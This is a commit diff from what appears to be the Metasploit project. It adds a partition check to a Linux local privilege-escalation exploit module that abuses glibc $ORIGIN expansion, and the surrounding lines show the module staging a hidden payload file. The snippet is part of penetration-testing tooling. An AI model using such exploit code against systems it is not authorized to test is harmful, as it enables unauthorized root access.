Skip to content

Commit 45249d5

Browse files
bcolesh00die
authored andcommitted
Add partition check
1 parent 9e11632 commit 45249d5

File tree

1 file changed

+8
-0
lines changed

1 file changed

+8
-0
lines changed

modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,6 +130,14 @@ def exploit
130130
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131131
end
132132

133+
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
134+
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
135+
if suid_partition == base_partition
136+
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
137+
else
138+
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
139+
end
140+
133141
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
134142
payload_path = "#{base_dir}/#{payload_name}"
135143

0 commit comments

Comments
 (0)